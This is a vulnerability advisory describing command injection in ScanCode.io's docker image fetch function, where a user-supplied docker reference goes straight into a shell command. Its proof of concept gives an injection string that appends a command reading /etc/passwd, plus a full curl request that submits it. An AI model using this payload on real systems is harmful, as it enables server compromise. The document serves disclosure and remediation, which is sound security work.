ScanCode.io command injection in docker image fetch process

Command Injection in docker fetch process

Summary

A possible command injection in the docker fetch process as it allows to append malicious commands in the docker_reference parameter.

Details

In the function scanpipe/pipes/fetch.py:fetch_docker_image[1] the parameter docker_reference is user controllable. The docker_reference variable is then passed to the vulnerable function get_docker_image_platform.

def fetch_docker_image(docker_reference, to=None):
    """
    code snipped ....
    """
    platform_args = []
    platform = get_docker_image_platform(docker_reference) # User controlled `docker_reference` passed
   """
   code snipped...
   """

However, the get_docker_image_plaform function constructs a shell command with the passed docker_reference. The pipes.run_command then executes the shell command without any prior sanitization, making the function vulnerable to command injections.

def get_docker_image_platform(docker_reference):
    """
    Return a platform mapping of a docker reference.
    If there are more than one, return the first one by default.
    """
    skopeo_executable = _get_skopeo_location()
    """
    Constructing a shell command with user controlled variable `docker_reference`
    """
    cmd = (
        f"{skopeo_executable} inspect --insecure-policy --raw --no-creds "
        f"{docker_reference}"
    )

    logger.info(f"Fetching image os/arch data: {cmd}")
    exitcode, output = pipes.run_command(cmd) # Executing command
    logger.info(output)
    if exitcode != 0:
        raise FetchDockerImageError(output)

A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of docker://;, it would allow appending malicious commands.

PoC

1. Create a new project with following input docker://;echo${IFS}"PoC"${IFS}&&cat${IFS}/etc/passwd in the filed Download URLs
   

2. Check docker logs to see the command execution
   

curl -i -s -k -X $'POST' \
    -H $'Host: localhost' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------2742275543734015476190112060' -H $'Content-Length: 923' -H $'Origin: http://localhost' -H $'DNT: 1' -H $'Connection: close' -H $'Referer: http://localhost/project/add/' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1' \
    -b $'csrftoken=7H2chgA7jPHnXK0NNPftIoCW9z8SabKR' \
    --data-binary $'-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"csrfmiddlewaretoken\"\x0d\x0a\x0d\x0ayslGuNnvWloFUEUCWI5VlMuZ60ZDDSkFvZdIBTNs50VSHeKfznaeT0WL5pXlDTUm\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"name\"\x0d\x0a\x0d\x0apoc\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_files\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"input_urls\"\x0d\x0a\x0d\x0adocker://;echo${IFS}\"PoC\"${IFS}&&cat${IFS}/etc/passwd\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"pipeline\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------2742275543734015476190112060\x0d\x0aContent-Disposition: form-data; name=\"execute_now\"\x0d\x0a\x0d\x0aon\x0d\x0a-----------------------------2742275543734015476190112060--\x0d\x0a' \
    $'http://localhost/project/add/'

Mitigations
The docker_reference input should be sanitized to avoid command injections and it is not recommend to create commands with user controlled input directly.

Tested on:

• Commit: Latest commit [bda3a70e0b8cd95433928db1fd4b23051bc7b7eb]
• OS: Ubuntu Linux Kernel 5.19.0

References
[1] https://github.com/nexB/scancode.io/blob/main/scanpipe/pipes/fetch.py#L185